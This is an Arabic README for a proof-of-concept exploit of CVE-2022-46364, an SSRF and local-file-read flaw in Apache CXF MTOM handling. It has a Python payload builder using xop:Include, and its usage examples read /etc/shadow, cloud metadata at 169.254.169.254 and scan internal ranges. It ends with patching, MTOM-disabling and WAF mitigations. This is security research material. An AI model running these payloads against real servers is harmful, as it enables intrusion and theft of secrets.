
تسمح هذه الثغرة الأمنية للمهاجم بتنفيذ هجمات SSRF (تزوير الطلبات من جانب الخادم) على خدمات ويب Apache CXF التي تقبل طلبات MTOM/XOP. تكمن المشكلة في طريقة تحليل السمة href لعنصر xop:Include، مما يسمح للخادم بطلب عناوين URL عشوائية.
هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط
تم توفير هذا الاستغلال كإثبات للمفهوم للأغراض التعليمية لمساعدة المتخصصين في الأمن على فهم الثغرة وحماية أنظمتهم. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. يجب عليك الحصول على إذن كتابي صريح من مالك النظام قبل الاختبار. باستخدامك لهذه الأداة، فإنك توافق على الامتثال لجميع القوانين المعمول بها.
| السمة | القيمة |
|---|
| معرف CVE | CVE-2022-46364 |
| معرف GHSA | GHSA-x3x3-qwjq-8gj4 |
| نوع الثغرة | تزوير الطلبات من جانب الخادم (SSRF) → تضمين الملفات المحلية (LFI) |
| البرامج المتأثرة | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| الخطورة | حرجة |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| إصدارات التصحيح | Apache CXF 3.5.5+, 3.4.10+ |
يستغل هذا الاستغلال ثغرة SSRF حرجة في تنفيذ MTOM (آلية تحسين نقل الرسائل) في Apache CXF لتحقيق تضمين الملفات المحلية (LFI) وإمكانيات فحص الشبكة الداخلية.
يقوم Apache CXF بالتحقق بشكل غير صحيح من سمة href داخل عناصر xop:Include عند معالجة رسائل SOAP المشفرة بـ MTOM. تستخدم المكتبة URLConnection الخاصة بـ Java لفك مرجع URI بدون قيود بروتوكول مناسبة، مما يسمح للمهاجمين بتحديد:
file:// - قراءة الملفات المحلية (LFI)http:// / https:// - طلبات الشبكة الداخلية (SSRF)ftp:// - طلبات FTP (قد تؤدي إلى استغلال إضافي)هذه الثغرة خطيرة بشكل خاص للأسباب التالية:
أي نشر لـ Apache CXF يستوفي الشروط التالية:
MTOM (آلية تحسين نقل الرسائل) هو معيار من W3C لتحسين نقل البيانات الثنائية في رسائل SOAP. يستخدم XOP (التغليف المحسّن للبيانات الثنائية في XML) لتضمين مراجع البيانات الثنائية:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
عادةً، يحتوي href على مرجع CID (معرف المحتوى) إلى جزء MIME. ومع ذلك، تعالج فئة AttachmentUtil في Apache CXF قيم href كعناوين URI عامة دون تطهير مناسب.
تحليل الطلب:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() عناصر xop:Includeفك مرجع URI:
new URL(href).openStream() مباشرةfile://تضمين الاستجابة:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
يتبع بروتوكول file:// نفس مسار الكود:
file:///etc/passwd → يقوم Java بفتح /etc/passwd كتدفق ملفاتمن خلال التكرار عبر عناوين IP والمنافذ، يمكن للمهاجمين:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| الوسيط | الوصف | المثال |
|---|---|---|
-t, --target | مطلوب. عنوان URL الأساسي لخدمة Apache CXF الهدف | http://10.10.10.50:8080 |
-e, --endpoint | اختياري. مسار نقطة نهاية SOAP | /services/UserManagement |
-u, --url | عنوان URL بنمط HTTP/HTTPS للجلب عبر SSRF | http://169.254.169.254/latest/user-data |
-f, --file | مسار ملف محلي للقراءة عبر LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### تفاصيل التنفيذ الأساسية
#### 1. بناء حمولة MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
قم بالترقية إلى إصدار مصحح:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
تعطيل MTOM كليًا (إذا لم يكن مطلوبًا):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
ضوابط على مستوى الشبكة:
قواعد جدار حماية تطبيقات الويب (WAF):
xop:Include مع href يشير إلى file:// أو عناوين IP داخليةتم اكتشاف هذه الثغرة والإفصاح عنها بمسؤولية بواسطة:
هذه الأداة مقدمة للأغراض التعليمية فقط. الاستخدام غير المصرح به محظور.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
آخر تحديث: مارس 2026
الإصدار: 1.0
للتواصل: لأي استفسارات أو مخاوف أمنية، يرجى فتح issue على GitHub.
هذا المستند جزء من البحث الأمني المسؤول. احرص دائمًا على الحصول على إذن مناسب قبل الاختبار.